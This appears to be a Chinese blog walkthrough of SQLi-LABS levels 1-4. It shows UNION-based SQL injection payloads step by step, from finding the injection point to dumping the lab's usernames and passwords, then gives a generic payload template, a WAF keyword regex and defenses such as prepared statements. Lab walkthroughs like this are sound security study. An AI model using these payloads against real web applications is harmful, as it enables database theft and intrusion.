欢迎光临
我们一直在努力

SQLi-LABS UNION 注入通关详解 (Less 1-4)

SQLi-LABS UNION 注入通关详解 (Less 1-4)

Less 1-4 都是基于 UNION 的 GET 型注入,核心攻击流程完全相同,唯一区别是闭合方式:

关卡类型闭合方式Payload 示例
Less-1 字符串型 ' ?id=1' order by 3 –+
Less-2 整型 无引号 ?id=1 order by 3 –+
Less-3 字符串型 ') ?id=1') order by 3 –+
Less-4 双引号型 ") ?id=1") order by 3 –+

学习目标: 掌握识别不同闭合方式的方法,理解参数类型对注入的影响。


通用攻击流程

所有 UNION 注入的标准步骤:

  • 测试注入点 – 触发 SQL 错误
  • 判断闭合方式 – 通过错误信息推测
  • 判断列数 – 使用 ORDER BY
  • 找回显位 – 使用 UNION SELECT
  • 获取数据库信息 – database(), version()
  • 获取表名 – 查询 information_schema.tables
  • 获取列名 – 查询 information_schema.columns
  • 获取数据 – 从目标表提取数据

  • Less-1: 字符串型注入 (单引号闭合)

    关卡信息

    • 闭合方式: 单引号 '
    • 后端SQL: SELECT * FROM users WHERE id='$id' LIMIT 0,1
    • 难度: 基础

    闯关目标

    通过SQL注入漏洞获取数据库中的敏感信息,包括数据库名、表名、列名和用户数据。


    闯关步骤

    步骤1: 测试注入点

    访问URL: http://localhost/sqli-labs-master/Less-1/?id=1

    正常访问显示:

    Your Login name: Dumb
    Your Password: Dumb

    在这里插入图片描述

    测试注入: http://localhost/sqli-labs-master/Less-1/?id=1'

    页面报错:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    在这里插入图片描述

    结论: 存在SQL注入漏洞,参数未正确过滤。


    步骤2: 判断闭合方式

    测试URL: http://localhost/sqli-labs-master/Less-1/?id=1' –+

    页面恢复正常显示:

    Your Login name: Dumb
    Your Password: Dumb

    在这里插入图片描述

    分析:

    • 单引号 ' 用于闭合原SQL语句中的字符串
    • –+ 是SQL注释符,注释掉后面的内容(+ 是空格的URL编码)
    • 原SQL语句大致为: SELECT * FROM users WHERE id='1' LIMIT 0,1

    结论: 注入点使用单引号闭合。


    步骤3: 判断列数

    使用 ORDER BY 语句逐步测试列数。

    测试1: http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 –+

    • 结果: 页面正常,说明至少有3列

    在这里插入图片描述

    测试2: http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 –+

    • 结果: 报错 Unknown column '4' in 'order clause'

    在这里插入图片描述

    结论: 查询结果共有 3列。


    步骤4: 查找回显位置

    测试URL: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 –+

    页面显示:

    Your Login name: 2
    Your Password: 3

    在这里插入图片描述

    分析:

    • 使用 id=-1 让原查询返回空结果
    • UNION SELECT 联合查询显示我们构造的数据
    • 第2列和第3列内容会显示在页面上

    结论: 第 2 和第 3 位置可以用来回显数据。


    步骤5: 获取数据库信息

    测试URL: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version() –+

    页面显示:

    Your Login name: security
    Your Password: 5.7.26

    在这里插入图片描述

    获取信息:

    • 数据库名: security
    • MySQL版本: 5.7.26

    步骤6: 获取表名

    测试URL:

    http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+

    页面显示:

    Your Login name: emails,referers,uagents,users

    在这里插入图片描述

    分析:

    • information_schema.tables 是MySQL的系统表,存储所有表的信息
    • group_concat() 将多行结果合并为一行
    • table_schema=database() 筛选当前数据库的表

    获取到的表名:

    • emails
    • referers
    • uagents
    • users (重点目标)

    步骤7: 获取列名

    测试URL:

    http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+

    页面显示:

    Your Login name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS

    在这里插入图片描述

    获取到的关键列名:

    • user_id – 用户ID
    • first_name – 名字
    • last_name – 姓氏
    • user – 用户名
    • password – 密码
    • avatar – 头像
    • last_login – 最后登录时间
    • failed_login – 失败登录次数

    步骤8: 获取用户数据

    测试URL:

    http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users –+

    页面显示:

    Your Login name: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1

    在这里插入图片描述

    分析:

    • 0x3a 是冒号 : 的十六进制表示,用于分隔用户名和密码
    • group_concat() 将所有用户的信息合并显示

    获取到的用户凭证:

    用户名密码
    Dumb Dumb
    Angelina I-kill-you
    Dummy p@ssword
    secure crappy
    stupid stupidity
    superman genious
    batman mob!le
    admin admin
    admin1 admin1

    Less-2: 整型注入 (无引号)

    关卡信息

    • 闭合方式: 无引号,直接拼接
    • 后端SQL: SELECT * FROM users WHERE id=$id LIMIT 0,1
    • 与 Less-1 区别: 所有 payload 去掉单引号 '

    闭合识别过程

    测试1: ?id=1' – 依然报错(但原因是多了不该有的引号)

    测试2: 整型验证

    ?id=1 and 1=1 –+ # 正常显示
    ?id=1 and 1=2 –+ # 不显示数据

    结论: 整型注入,不需要引号。

    完整攻击流程

    与 Less-1 完全相同,只是去掉所有单引号:

    # 判断列数
    ?id=1 order by 3 –+

    # 找回显
    ?id=1 union select 1,2,3 –+

    # 获取数据库信息
    ?id=1 union select 1,database(),version() –+

    # 获取表名
    ?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+

    # 获取列名
    ?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+

    # 获取数据
    ?id=1 union select 1,group_concat(username,0x3a,password),3 from users –+

    结果: 成功获取相同的用户数据(9个用户凭证)

    Less-3: 字符串型注入 (单引号+括号闭合)

    关卡信息

    • 闭合方式: ')
    • 后端SQL: SELECT * FROM users WHERE id=('$id') LIMIT 0,1
    • 与 Less-1 区别: 需要同时闭合单引号和括号

    闭合识别过程

    测试1: ?id=1' – 报错

    You have an error in your SQL syntax near '') LIMIT 0,1'

    注意错误信息中有多余的 ),说明后端有括号

    测试2: ?id=1') – 报错消失但无数据

    测试3: ?id=1') –+ – 正常显示数据

    结论: 需要 ') 闭合。

    完整攻击流程

    所有 Less-1 的 payload,把 ' 改成 '):

    # 判断列数
    ?id=1') order by 3 –+

    # 找回显
    ?id=-1') union select 1,2,3 –+

    # 获取数据库信息
    ?id=1') union select 1,database(),version() –+

    # 获取表名
    ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+

    # 获取列名
    ?id=1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+

    # 获取数据
    ?id=-1') union select 1,group_concat(username,0x3a,password),3 from users –+

    结果: 成功获取数据库 security、表名、列名和用户凭证(与 Less-1/2 相同)。


    Less-4: 双引号型注入 (双引号+括号闭合)

    关卡信息

    • 闭合方式: ")
    • 后端SQL: SELECT * FROM users WHERE id=("$id") LIMIT 0,1
    • 与 Less-1 区别: 使用双引号和括号

    闭合识别过程

    测试1: ?id=1' – 正常显示(说明不是单引号)

    测试2: ?id=1" – 报错

    You have an error in your SQL syntax near '") LIMIT 0,1'

    说明是双引号,且有括号

    测试3: ?id=1") – 报错消失但无数据

    测试4: ?id=1") –+ – 正常显示数据

    结论: 需要 ") 闭合。

    完整攻击流程

    所有 Less-1 的 payload,把 ' 改成 "):

    # 判断列数
    ?id=1") order by 3 –+

    # 找回显
    ?id=-1") union select 1,2,3 –+

    # 获取数据库信息
    ?id=1") union select 1,database(),version() –+

    # 获取表名
    ?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+

    # 获取列名
    ?id=1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+

    # 获取数据
    ?id=-1") union select 1,group_concat(username,0x3a,password),3 from users –+

    结果: 成功获取数据库 security、表名、列名和用户凭证(与前面关卡完全相同)。


    技术总结

    UNION 注入核心原理

    后端拼接 SQL:

    SELECT * FROM users WHERE id=[闭合符号][用户输入][闭合符号] LIMIT 0,1

    注入目标: 闭合原查询,注入自己的 SQL 语句。

    执行示例:

    — 原始查询 (Less-1)
    SELECT * FROM users WHERE id='1' LIMIT 0,1

    — 注入后
    SELECT * FROM users WHERE id='-1' union select 1,2,3 — ' LIMIT 0,1

    关键技术点

    1. 闭合方式识别

    方法: 通过添加不同字符观察报错信息

    测试字符报错信息特征判断结果
    ' near ''1'' LIMIT 单引号闭合 (Less-1)
    ' + 逻辑不通 无报错或正常 可能是整型 (Less-2)
    ' near '') LIMIT 单引号+括号 (Less-3)
    " near ") LIMIT 双引号+括号 (Less-4)

    识别流程:

  • 先测试 ' 看是否报错
  • 观察错误信息中多余的符号(如 ))
  • 尝试不同组合直到 –+ 后页面正常
  • 2. 列数判断

    使用 ORDER BY: 逐步增加列数直到报错

    ?id=1' order by 1 –+ # 正常
    ?id=1'
    order by 2 –+ # 正常
    ?id=1' order by 3 –+ # 正常
    ?id=1'
    order by 4 –+ # 报错: Unknown column '4' in 'order clause'

    结论: 列数 = 最后一个成功的数字 = 3

    3. 回显位置确定

    使用 UNION SELECT + 数字标记:

    ?id=1' union select 1,2,3 –+

    • 使用负数 ID 让原查询返回空结果
    • 页面上显示的数字就是回显位置
    • Less 1-4 都是第 2 和第 3 列回显
    4. 信息获取技巧

    利用 information_schema 系统库:

    — 获取所有数据库
    select schema_name from information_schema.schemata

    — 获取当前库的表
    select table_name from information_schema.tables where table_schema=database()

    — 获取表的列
    select column_name from information_schema.columns where table_name='users'

    使用 group_concat() 合并结果:

    — 不使用 group_concat: 只能看到第一个表名
    union select 1,table_name,3 from information_schema.tables

    — 使用 group_concat: 一次显示所有表名
    union select 1,group_concat(table_name),3 from information_schema.tables

    使用的 SQL 函数

    函数作用示例
    database() 获取当前数据库名 select database() → security
    version() 获取MySQL版本 select version() → 5.7.26
    user() 获取当前用户 select user() → root@localhost
    group_concat() 合并多行为一行 group_concat(table_name) → users,emails,…
    0x3a 冒号 : 的十六进制 用于分隔数据
    concat() 拼接字符串 concat(username,':',password)

    闭合方式速查表

    测试Payload页面反应可能的闭合方式对应关卡
    ?id=1' 报错 '1'' 单引号 ' Less-1
    ?id=1' 报错,且逻辑测试失败 整型(无引号) Less-2
    ?id=1' 报错 '') LIMIT 单引号+括号 ') Less-3
    ?id=1" 报错 ") LIMIT 双引号+括号 ") Less-4

    完整 Payload 对比

    # ========== Less-1 (字符串型 ') ==========
    ?id=1' order by 3 –+
    ?id=-1'
    union select 1,2,3 –+
    ?id=1' union select 1,database(),version() –+
    ?id=-1'
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
    ?id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
    ?id=-1'
    union select 1,group_concat(username,0x3a,password),3 from users –+

    # ========== Less-2 (整型) ==========
    ?id=1 order by 3 –+
    ?id=1 union select 1,2,3 –+
    ?id=1 union select 1,database(),version() –+
    ?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
    ?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
    ?id=1 union select 1,group_concat(username,0x3a,password),3 from users –+

    # ========== Less-3 (字符串型 ') ==========
    ?id=1') order by 3 –+
    ?id=-1'
    ) union select 1,2,3 –+
    ?id=1') union select 1,database(),version() –+
    ?id=-1'
    ) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
    ?id=1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
    ?id=-1'
    ) union select 1,group_concat(username,0x3a,password),3 from users –+

    # ========== Less-4 (双引号型 ") ==========
    ?id=1") order by 3 –+
    ?id=-1"
    ) union select 1,2,3 –+
    ?id=1") union select 1,database(),version() –+
    ?id=-1"
    ) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
    ?id=1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
    ?id=-1"
    ) union select 1,group_concat(username,0x3a,password),3 from users –+

    规律总结:

    • 攻击流程完全相同
    • 只需替换闭合字符: ' → 无 → ') → ")
    • 后续所有 SQL 语句完全一致

    防御建议

    1. 使用预编译语句(最有效)

    PHP 示例:

    // ✅ 正确 – 防御所有注入类型
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$_GET['id']]);

    // ❌ 错误 – 容易被注入
    $sql = "SELECT * FROM users WHERE id='$id'";
    $sql = "SELECT * FROM users WHERE id=$id";
    $sql = "SELECT * FROM users WHERE id=('$id')";

    为什么有效:

    • 参数和 SQL 语句分离
    • 数据库引擎将参数视为数据,不会作为 SQL 代码执行
    • 对所有闭合方式都有效

    2. 输入验证

    // 整型参数强制类型转换
    $id = intval($_GET['id']);

    // 类型验证
    if (!is_numeric($_GET['id'])) {
    die('Invalid ID');
    }

    // 白名单验证
    $allowed_ids = [1, 2, 3, 4, 5];
    if (!in_array($_GET['id'], $allowed_ids)) {
    die('Invalid ID');
    }

    3. 转义特殊字符

    // MySQL 转义
    $id = mysqli_real_escape_string($conn, $_GET['id']);

    // 注意: 仅转义不够安全,必须配合引号包裹
    $sql = "SELECT * FROM users WHERE id='$id'"; // 仍可能被整型注入

    局限性: 只能防御字符串型注入,无法防御整型注入。

    4. 最小权限原则

    — ❌ 不要给 Web 应用数据库用户这些权限:
    GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'localhost';

    — ✅ 只给必要的权限:
    GRANT SELECT, INSERT, UPDATE ON security.users TO 'webapp'@'localhost';

    — 禁止访问 information_schema
    REVOKE SELECT ON information_schema.* FROM 'webapp'@'localhost';

    5. WAF 防护规则

    # 检测关键字
    union|select|insert|update|delete|drop|–|\\#|\\/\\*

    # 检测特殊字符组合
    '|"|\\(|\\)|;|=|>|<

    # 检测十六进制编码
    0x[0-9a-f]+

    局限性: 可能被绕过(大小写、编码、注释等)。

    6. 错误信息处理

    // ❌ 不要在生产环境显示详细错误
    mysqli_query($conn, $sql) or die(mysqli_error($conn));

    // ✅ 使用统一的错误页面
    try {
    $stmt->execute();
    } catch (PDOException $e) {
    error_log($e->getMessage()); // 记录到日志
    die('An error occurred'); // 显示通用错误
    }


    学习总结

    ✅ 完成进度

    • ✅ Less-1: 字符串型 ' 闭合
    • ✅ Less-2: 整型(无引号)
    • ✅ Less-3: 字符串型 ') 闭合
    • ✅ Less-4: 双引号型 ") 闭合

    🎯 核心收获

    1. UNION 注入本质
    • 目标: 闭合原查询 + 注入自己的 SELECT 语句
    • 关键: 识别正确的闭合方式
    • 流程: 8个标准步骤适用于所有 UNION 注入
    2. 闭合方式识别方法

    测试 ' " ') ") 等字符

    观察错误信息

    推测后端 SQL 结构

    尝试闭合 + 注释

    页面恢复正常 = 识别成功

    3. 四关的唯一区别
    关卡闭合符号后端SQL模板
    Less-1 ' WHERE id='$id'
    Less-2 WHERE id=$id
    Less-3 ') WHERE id=('$id')
    Less-4 ") WHERE id=("$id")
    4. 通用攻击模板

    # 模板(替换 [闭合] 即可)
    ?id=1[闭合] order by 3 –+
    ?id=1[闭合] union select 1,2,3 –+
    ?id=1[闭合] union select 1,database(),version() –+
    ?id=1[闭合] union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
    ?id=1[闭合] union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
    ?id=1[闭合] union select 1,group_concat(username,0x3a,password),3 from users –+

    💡 实战建议

  • 练习识别闭合: 遇到新站点先测试各种闭合方式
  • 记住标准流程: 8个步骤形成肌肉记忆
  • 理解原理: 知道为什么这样做,不是死记硬背
  • 工具辅助: 熟练后可以使用 sqlmap 等工具
  • 道德约束: 仅在授权环境下测试

  • 附录:常见问题

    Q1: 为什么使用 –+ 而不是 –?

    URL 中空格会被编码,– 后需要空格才能成为注释。+ 在 URL 中代表空格,所以 –+ = — (注释符+空格)。

    Q2: 为什么使用 id=-1 而不是 id=999999?

    负数 ID 一般不存在,确保原查询返回空。使用大数字可能碰巧存在该 ID。

    Q3: 可以用 # 代替 –+ 吗?

    可以,但 # 在 URL 中是锚点符号,需要编码为 %23,即 –+ = # = %23。

    Q4: group_concat() 有长度限制吗?

    默认最大 1024 字节。可以通过 SET group_concat_max_len = 102400 增加限制。

    Q5: 如何判断网站是否使用了预编译?

    • 所有闭合测试都无效
    • 输入特殊字符不影响查询结果
    • 可能存在,但需要其他漏洞(如逻辑漏洞)

    Q6: information_schema 被禁止访问怎么办?

    • 使用报错注入泄露信息
    • 使用时间盲注猜测
    • 尝试读取系统文件(load_file())

    日期: 2026-07
    作者: 闯关记录
    实验环境: SQLi-LABS (Windows 10 + MySQL 5.7.26)


    声明: 本文仅用于网络安全学习和研究,未经授权请勿用于非法用途。

    赞(0)
    未经允许不得转载:171主机测评 » SQLi-LABS UNION 注入通关详解 (Less 1-4)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址